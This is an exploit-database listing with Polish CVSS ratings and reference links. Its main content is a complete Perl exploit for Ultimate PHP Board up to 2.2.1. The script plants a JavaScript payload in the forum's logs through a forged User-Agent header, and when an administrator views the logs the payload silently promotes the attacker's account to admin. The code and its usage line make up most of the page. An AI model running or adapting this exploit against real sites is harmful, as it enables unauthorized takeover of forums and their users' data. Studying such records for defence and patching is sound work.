Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit

2009-04-20 / 2009-04-21
Credit: staker
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

#!/usr/bin/perl -w # ------------------------------------------------------------------ # Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit # ------------------------------------------------------------------ # by athos - staker[at]hotmail[dot]it # download on http://www.myupb.com/ # ------------------------------------------------------------------ # Usage: # perl xpl.pl host path id email # perl xpl.pl localhost/upb 21 root@r00x.com # ------------------------------------------------------------------ # Note: don't add me on msn messenger # thanks evilsocket # thanks meh for ajax code # my email staker.38@gmail.com # ------------------------------------------------------------------ use strict; use IO::Socket; my ($host,$path,$id,$email) = @ARGV; if (@ARGV != 4) { print "\n+--------------------------------------------------------------------+\r". "\n| Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit |\r". "\n+--------------------------------------------------------------------+\r". "\n(user -> admin xpl )by athos - staker[at]hotmail[dot]it\n". "\nUsage + perl $0 [host] [path] [ID] [email]". "\nHost + localhost". "\nPath + forum path /upb)". "\nID + your user ID". "\nEmail + your/any email\n"; exit; } &exploit(); sub exploit () { my $content = undef; my $uagent = &logs; my $packet = undef; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $packet .= "GET /$path/index.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "User-Agent: $uagent\r\n"; $packet .= "Connection: close\r\n\r\n"; $socket->send($packet); while (<$socket>) { $content .= $_; } if ($content =~ m/myUPB/i) { print "Exploit Done!\n"; print "You'll become admin when the real admin will visit the logs\n"; exit; } else { print "Exploit Failed!\n"; exit; } } sub logs () { my $logs = "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d". "<script>var xplurl='http://$host/$path/admin_members.php?a". "ction=edit&id=$id&page=10'; var xpldata='a=1&level=3&email". "=$email&status&location&website&avatar&msn&yahoo&icq&sig&u_". "timezone=0&B1=Submit';function s(s){var h=((window.ActiveXO". "bject)?new ActiveXObject('Microsoft.XMLHTTP'):new XMLHttp". "Request());h.open('POST', xplurl, true);h.setRequestHeader". "('Content-type','application/x-www-form-urlencoded');h.setRe". "questHeader('Content-length',xpldata.length);h.setRequestHea". "der('Connection','close');h.send(xpldata);}s();</script>"; return $logs; }

Referencje:

http://xforce.iss.net/xforce/xfdb/47607
http://www.securityfocus.com/bid/33029
http://www.milw0rm.com/exploits/7607
http://secunia.com/advisories/33329
http://osvdb.org/51011


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top